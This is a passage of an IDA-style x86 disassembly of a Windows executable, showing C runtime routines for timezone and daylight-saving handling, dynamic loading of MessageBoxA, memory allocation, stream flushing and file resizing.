loc_4247A4:				; CODE XREF: sub_42478C+14j
		mov	eax, esi
		pop	esi
		retn
sub_42478C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247A8	proc near		; CODE XREF: sub_4222C2+15Bp
					; sub_42470C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	near ptr 2620A0Dh
		nop
		test	eax, eax
		jz	short loc_4247BC
		xor	esi, esi


loc_4247BC:				; CODE XREF: sub_4247A8+10j
		mov	eax, esi
		pop	esi
		retn
sub_4247A8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42255C


loc_4247C0:				; CODE XREF: sub_42255C:loc_4225ADj
		push	0Ah
		call	sub_4235C9
		push	16h
		call	sub_425955
		pop	ecx
		pop	ecx
		push	3
		call	sub_41B7C2
; END OF FUNCTION CHUNK	FOR sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4247D7	proc near		; CODE XREF: sub_422669:loc_4226A8p
		cmp	dword_4DBC30, 0
		jnz	short locret_4247EB
		call	sub_4247EC
		inc	dword_4DBC30

locret_4247EB:				; CODE XREF: sub_4247D7+7j
		retn
sub_4247D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247EC	proc near		; CODE XREF: sub_4247D7+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4DBB78, ebp
		mov	dword_43D420, ebx
		mov	dword_43D410, ebx
		call	sub_425AC7
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_424915
		push	offset dword_4DBB80
		call	near ptr 28A0000h
		nop
		cmp	eax, ebx
		jz	loc_424A44
		mov	eax, dword_4DBB80
		mov	ecx, dword_4DBBD4
		imul	eax, 3Ch
		cmp	word_4DBBC6, bp
		push	1
		pop	edx
		mov	dword_43D378, eax
		mov	dword_4DBB78, edx
		jz	short loc_424863
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43D378, eax


loc_424863:				; CODE XREF: sub_4247EC+69j
		cmp	word_4DBC1A, bp
		jz	short loc_424887
		mov	eax, dword_4DBC28
		cmp	eax, ebp
		jz	short loc_424887
		sub	eax, ecx
		mov	dword_43D37C, edx
		imul	eax, 3Ch
		mov	dword_43D380, eax
		jmp	short loc_424893
; ---------------------------------------------------------------------------


loc_424887:				; CODE XREF: sub_4247EC+7Ej
					; sub_4247EC+87j
		mov	dword_43D37C, ebp
		mov	dword_43D380, ebp


loc_424893:				; CODE XREF: sub_4247EC+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_42717C
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43D404
		push	ebx
		push	offset dword_4DBB84
		push	edi
		push	dword_4DBA14
		call	esi
		test	eax, eax
		jz	short loc_4248D0
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_4248D0
		mov	eax, off_43D404
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_4248D8
; ---------------------------------------------------------------------------


loc_4248D0:				; CODE XREF: sub_4247EC+D1j
					; sub_4247EC+D7j
		mov	eax, off_43D404
		and	byte ptr [eax],	0


loc_4248D8:				; CODE XREF: sub_4247EC+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43D408
		push	ebx
		push	offset dword_4DBBD8
		push	edi
		push	dword_4DBA14
		call	esi
		test	eax, eax
		jz	loc_424A3C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_424A3C
		mov	eax, off_43D408
		and	byte ptr [eax+3Fh], 0
		jmp	loc_424A44
; ---------------------------------------------------------------------------


loc_424915:				; CODE XREF: sub_4247EC+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_424A44
		mov	eax, dword_4DBC2C
		cmp	eax, ebp
		jz	short loc_424938
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_424A44


loc_424938:				; CODE XREF: sub_4247EC+139j
		push	dword_4DBC2C
		call	sub_41B0B1
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4DBC2C, eax
		jz	loc_424A44
		push	esi
		push	eax
		call	sub_41BEB0
		push	3
		push	esi
		push	off_43D404
		call	sub_41B5F0
		mov	eax, off_43D404
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42498D
		push	1
		inc	esi
		pop	edi


loc_42498D:				; CODE XREF: sub_4247EC+19Bj
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43D378, ecx


loc_4249A4:				; CODE XREF: sub_4247EC+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_4249B2
		cmp	al, bl
		jl	short loc_4249B5
		cmp	al, 39h
		jg	short loc_4249B5


loc_4249B2:				; CODE XREF: sub_4247EC+1BCj
		inc	esi
		jmp	short loc_4249A4
; ---------------------------------------------------------------------------


loc_4249B5:				; CODE XREF: sub_4247EC+1C0j
					; sub_4247EC+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43D378
		add	ecx, eax
		mov	dword_43D378, ecx


loc_4249D3:				; CODE XREF: sub_4247EC+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4249E0
		cmp	al, 39h
		jg	short loc_4249E0
		inc	esi
		jmp	short loc_4249D3
; ---------------------------------------------------------------------------


loc_4249E0:				; CODE XREF: sub_4247EC+1EBj
					; sub_4247EC+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	ecx, dword_43D378
		add	ecx, eax
		mov	dword_43D378, ecx


loc_4249FB:				; CODE XREF: sub_4247EC+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424A08
		cmp	al, 39h
		jg	short loc_424A08
		inc	esi
		jmp	short loc_4249FB
; ---------------------------------------------------------------------------


loc_424A08:				; CODE XREF: sub_4247EC+1CCj
					; sub_4247EC+1F7j ...
		cmp	edi, ebp
		jz	short loc_424A14
		neg	ecx
		mov	dword_43D378, ecx


loc_424A14:				; CODE XREF: sub_4247EC+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43D37C, eax
		jz	short loc_424A3C
		push	3
		push	esi
		push	off_43D408
		call	sub_41B5F0
		mov	eax, off_43D408
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_424A44
; ---------------------------------------------------------------------------


loc_424A3C:				; CODE XREF: sub_4247EC+10Bj
					; sub_4247EC+115j ...
		mov	eax, off_43D408
		and	byte ptr [eax],	0


loc_424A44:				; CODE XREF: sub_4247EC+40j
					; sub_4247EC+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4247EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424A4A	proc near		; CODE XREF: sub_422669+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43D37C, edi
		jnz	short loc_424A5E


loc_424A57:				; CODE XREF: sub_424A4A+148j
					; sub_424A4A+150j ...
		xor	eax, eax
		jmp	loc_424BAA
; ---------------------------------------------------------------------------


loc_424A5E:				; CODE XREF: sub_424A4A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43D410
		jnz	short loc_424A7C
		cmp	eax, dword_43D420
		jz	loc_424B7E


loc_424A7C:				; CODE XREF: sub_424A4A+24j
		cmp	dword_4DBB78, edi
		jz	loc_424B54
		movzx	ecx, word_4DBC26
		push	ecx
		cmp	word_4DBC18, di
		movzx	ecx, word_4DBC24
		push	ecx
		movzx	ecx, word_4DBC22
		push	ecx
		movzx	ecx, word_4DBC20
		push	ecx
		jnz	short loc_424ACE
		movzx	ecx, word_4DBC1C
		push	edi
		push	ecx
		movzx	ecx, word_4DBC1E
		push	ecx
		movzx	ecx, word_4DBC1A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_424AE2
; ---------------------------------------------------------------------------


loc_424ACE:				; CODE XREF: sub_424A4A+65j
		movzx	ecx, word_4DBC1E
		push	ecx
		push	edi
		movzx	ecx, word_4DBC1A
		push	edi
		push	ecx
		push	eax
		push	edi


loc_424AE2:				; CODE XREF: sub_424A4A+82j
		push	ebx
		call	sub_424BF6
		movzx	eax, word_4DBBD2
		add	esp, 2Ch
		cmp	word_4DBBC4, di
		push	eax
		movzx	eax, word_4DBBD0
		push	eax
		movzx	eax, word_4DBBCE
		push	eax
		movzx	eax, word_4DBBCC
		push	eax
		jnz	short loc_424B3C
		movzx	eax, word_4DBBC8
		push	edi
		push	eax
		movzx	eax, word_4DBBCA
		push	eax
		movzx	eax, word_4DBBC6
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_424B31:				; CODE XREF: sub_424A4A+108j
		push	edi
		call	sub_424BF6
		add	esp, 2Ch
		jmp	short loc_424B7E
; ---------------------------------------------------------------------------


loc_424B3C:				; CODE XREF: sub_424A4A+C8j
		movzx	eax, word_4DBBCA
		push	eax
		push	edi
		movzx	eax, word_4DBBC6
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_424B31
; ---------------------------------------------------------------------------


loc_424B54:				; CODE XREF: sub_424A4A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_424BF6
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_424BF6
		add	esp, 58h


loc_424B7E:				; CODE XREF: sub_424A4A+2Cj
					; sub_424A4A+F0j
		mov	edx, dword_43D414
		mov	eax, dword_43D424
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_424BAE
		cmp	ecx, edx
		jl	loc_424A57
		cmp	ecx, eax
		jg	loc_424A57
		cmp	ecx, edx
		jle	short loc_424BC2
		cmp	ecx, eax
		jge	short loc_424BC2


loc_424BA8:				; CODE XREF: sub_424A4A+166j
					; sub_424A4A+16Aj
		mov	eax, ebx


loc_424BAA:				; CODE XREF: sub_424A4A+Fj
					; sub_424A4A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424BAE:				; CODE XREF: sub_424A4A+144j
		cmp	ecx, eax
		jl	short loc_424BA8
		cmp	ecx, edx
		jg	short loc_424BA8
		cmp	ecx, eax
		jle	short loc_424BC2
		cmp	ecx, edx
		jl	loc_424A57


loc_424BC2:				; CODE XREF: sub_424A4A+158j
					; sub_424A4A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_424BE9
		xor	ecx, ecx
		cmp	eax, dword_43D418
		setnl	cl


loc_424BE5:				; CODE XREF: sub_424A4A+1AAj
		mov	eax, ecx
		jmp	short loc_424BAA
; ---------------------------------------------------------------------------


loc_424BE9:				; CODE XREF: sub_424A4A+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43D428
		setl	cl
		jmp	short loc_424BE5
sub_424A4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424BF6	proc near		; CODE XREF: sub_424A4A+99p
					; sub_424A4A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_424C91
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_424C21
		shl	esi, 2
		mov	eax, dword_43D428[esi]
		jmp	short loc_424C2A
; ---------------------------------------------------------------------------


loc_424C21:				; CODE XREF: sub_424BF6+1Ej
		shl	esi, 2
		mov	eax, dword_43D45C[esi]


loc_424C2A:				; CODE XREF: sub_424BF6+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_424C64
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_424C6E
; ---------------------------------------------------------------------------


loc_424C64:				; CODE XREF: sub_424BF6+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_424C6E:				; CODE XREF: sub_424BF6+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_424CAC
		cmp	[ebp+arg_8], 0
		jnz	short loc_424C82
		mov	esi, dword_43D42C[esi]
		jmp	short loc_424C88
; ---------------------------------------------------------------------------


loc_424C82:				; CODE XREF: sub_424BF6+82j
		mov	esi, dword_43D460[esi]


loc_424C88:				; CODE XREF: sub_424BF6+8Aj
		cmp	ecx, esi
		jle	short loc_424CAC
		sub	ecx, 7
		jmp	short loc_424CAC
; ---------------------------------------------------------------------------


loc_424C91:				; CODE XREF: sub_424BF6+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_424CA2
		mov	ecx, dword_43D428[eax*4]
		jmp	short loc_424CA9
; ---------------------------------------------------------------------------


loc_424CA2:				; CODE XREF: sub_424BF6+A1j
		mov	ecx, dword_43D45C[eax*4]


loc_424CA9:				; CODE XREF: sub_424BF6+AAj
		add	ecx, [ebp+arg_18]


loc_424CAC:				; CODE XREF: sub_424BF6+7Cj
					; sub_424BF6+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_424CDD
		mov	eax, [ebp+arg_1C]
		mov	dword_43D414, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43D410, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43D418, eax
		jmp	short loc_424D32
; ---------------------------------------------------------------------------


loc_424CDD:				; CODE XREF: sub_424BF6+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43D424, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43D380
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43D428, eax
		jns	short loc_424D15
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43D428, eax
		jmp	short loc_424D26
; ---------------------------------------------------------------------------


loc_424D15:				; CODE XREF: sub_424BF6+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_424D2C
		sub	eax, edx
		inc	ecx
		mov	dword_43D428, eax


loc_424D26:				; CODE XREF: sub_424BF6+11Dj
		mov	dword_43D424, ecx


loc_424D2C:				; CODE XREF: sub_424BF6+126j
		mov	dword_43D420, ebx


loc_424D32:				; CODE XREF: sub_424BF6+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424BF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D36	proc near		; CODE XREF: ___:00422E9Dp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424D47
		add	esp, 0Ch
		retn
sub_424D36	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D47	proc near		; CODE XREF: sub_424D36+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DCEC1[eax], cl
		jnz	short loc_424D74
		cmp	[esp+arg_4], 0
		jz	short loc_424D6D
		movzx	eax, word_43C9D2[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_424D6F
; ---------------------------------------------------------------------------


loc_424D6D:				; CODE XREF: sub_424D47+16j
		xor	eax, eax


loc_424D6F:				; CODE XREF: sub_424D47+24j
		test	eax, eax
		jnz	short loc_424D74
		retn
; ---------------------------------------------------------------------------


loc_424D74:				; CODE XREF: sub_424D47+Fj
					; sub_424D47+2Aj
		push	1
		pop	eax
		retn
sub_424D47	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D78	proc near		; CODE XREF: sub_4235C9+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DBC34, ebx
		push	esi
		push	edi
		jnz	short loc_424DC7
		push	offset aUser32_dll ; "user32.dll"
		call	near ptr 26C0C66h
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_424DFD
		mov	esi, dword_4270BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DBC34, eax
		jz	short loc_424DFD
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DBC38, eax
		call	esi
		mov	dword_4DBC3C, eax


loc_424DC7:				; CODE XREF: sub_424D78+Bj
		mov	eax, dword_4DBC38
		test	eax, eax
		jz	short loc_424DE6
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_424DE6
		mov	eax, dword_4DBC3C
		test	eax, eax
		jz	short loc_424DE6
		push	ebx
		call	eax
		mov	ebx, eax


loc_424DE6:				; CODE XREF: sub_424D78+56j
					; sub_424D78+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DBC34


loc_424DF9:				; CODE XREF: sub_424D78+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424DFD:				; CODE XREF: sub_424D78+1Cj
					; sub_424D78+33j
		xor	eax, eax
		jmp	short loc_424DF9
sub_424D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E01	proc near		; CODE XREF: sub_423936+22p
					; sub_423936+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_424E22
		test	esi, esi
		jnz	short loc_424E1C
		push	1
		pop	esi


loc_424E1C:				; CODE XREF: sub_424E01+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_424E22:				; CODE XREF: sub_424E01+12j
					; sub_424E01+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_424E81
		mov	eax, dword_4DCFE8
		cmp	eax, 3
		jnz	short loc_424E4D
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DCFE0
		ja	short loc_424E6C
		push	eax
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424E97
		jmp	short loc_424E6C
; ---------------------------------------------------------------------------


loc_424E4D:				; CODE XREF: sub_424E01+30j
		cmp	eax, 2
		jnz	short loc_424E6C
		cmp	esi, dword_43C9C4
		ja	short loc_424E6C
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424EAB


loc_424E6C:				; CODE XREF: sub_424E01+3Bj
					; sub_424E01+4Aj ...
		push	esi
		push	8
		push	dword_4DCFE4
		call	near ptr 27F0000h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_424EA5


loc_424E81:				; CODE XREF: sub_424E01+26j
		cmp	dword_4DB9CC, 0
		jz	short loc_424EA5
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jz	short loc_424EAE
		jmp	short loc_424E22
; ---------------------------------------------------------------------------


loc_424E97:				; CODE XREF: sub_424E01+48j
		push	[ebp+arg_0]


loc_424E9A:				; CODE XREF: sub_424E01+ABj
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_424EA5:				; CODE XREF: sub_424E01+7Ej
					; sub_424E01+87j
		mov	eax, edi


loc_424EA7:				; CODE XREF: sub_424E01+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_424EAB:				; CODE XREF: sub_424E01+69j
		push	esi
		jmp	short loc_424E9A
; ---------------------------------------------------------------------------


loc_424EAE:				; CODE XREF: sub_424E01+92j
		xor	eax, eax
		jmp	short loc_424EA7
sub_424E01	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4239DB


loc_424EB2:				; CODE XREF: sub_4239DB+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DCC80, esi
		jle	short loc_424F05


loc_424EC1:				; CODE XREF: sub_4239DB+1528j
		mov	eax, dword_4DBC68
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_424EFC
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_424EE0
		push	eax
		call	sub_41B05B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_424EE0
		inc	edi


loc_424EE0:				; CODE XREF: sub_4239DB+14F6j
					; sub_4239DB+1502j
		cmp	esi, 14h
		jl	short loc_424EFC
		mov	eax, dword_4DBC68
		push	dword ptr [eax+esi*4]
		call	sub_41B0B1
		mov	eax, dword_4DBC68
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_424EFC:				; CODE XREF: sub_4239DB+14F0j
					; sub_4239DB+1508j
		inc	esi
		cmp	esi, dword_4DCC80
		jl	short loc_424EC1


loc_424F05:				; CODE XREF: sub_4239DB+14E4j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4239DB

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424F0A	proc near		; CODE XREF: sub_423A33+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DCDA0
		jnb	loc_42503F
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DCCA0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_42503F
		push	1
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_425049
		push	2
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_425049
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FEC
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41B590
		push	8000h
		push	ebx
		call	sub_425B44
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_424FA0:				; CODE XREF: sub_424F0A+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_424FAB
		mov	eax, edi


loc_424FAB:				; CODE XREF: sub_424F0A+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424FC9
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FDF
		jmp	short loc_424FA0
; ---------------------------------------------------------------------------


loc_424FC9:				; CODE XREF: sub_424F0A+B5j
		cmp	dword_4DB94C, 5
		jnz	short loc_424FDC
		mov	dword_4DB948, 0Dh


loc_424FDC:				; CODE XREF: sub_424F0A+C6j
		or	esi, 0FFFFFFFFh


loc_424FDF:				; CODE XREF: sub_424F0A+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425B44
		pop	ecx
		pop	ecx
		jmp	short loc_42502C
; ---------------------------------------------------------------------------


loc_424FEC:				; CODE XREF: sub_424F0A+71j
		jge	short loc_42502C
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_42272B
		push	ebx
		call	sub_4238A2
		add	esp, 10h
		push	eax
		call	near ptr 2620000h
		nop
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42502C
		mov	dword_4DB948, 0Dh
		nop
		call	near ptr 26A08B1h
		mov	dword_4DB94C, eax


loc_42502C:				; CODE XREF: sub_424F0A+E0j
					; sub_424F0A:loc_424FECj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_42504C
; ---------------------------------------------------------------------------


loc_42503F:				; CODE XREF: sub_424F0A+1Aj
					; sub_424F0A+36j
		mov	dword_4DB948, 9


loc_425049:				; CODE XREF: sub_424F0A+4Ej
					; sub_424F0A+63j
		or	eax, 0FFFFFFFFh


loc_42504C:				; CODE XREF: sub_424F0A+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_424F0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_425050	proc near		; CODE XREF: sub_4241CF+2Bp
					; sub_4241CF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425066
		cmp	ecx, esi
		jnb	short loc_425069


loc_425066:				; CODE XREF: sub_425050+10j
		push	1
		pop	eax


loc_425069:				; CODE XREF: sub_425050+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425050	endp


; =============== S U B	R O U T	I N E =======================================



sub_425071	proc near		; CODE XREF: sub_42512A+40p
					; sub_42512A+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		inc	dword ptr [esi+8]


loc_4250A3:				; CODE XREF: sub_425071+19j
					; sub_425071+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250BB
		inc	dword ptr [esi+8]


loc_4250BB:				; CODE XREF: sub_425071+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425071	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250CF	proc near		; CODE XREF: sub_42512A+30p
					; sub_42512A+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4250CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250FD	proc near		; CODE XREF: sub_4256C2+1C8p
					; sub_425BBA+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4250FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42512A	proc near		; CODE XREF: sub_4251F1+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
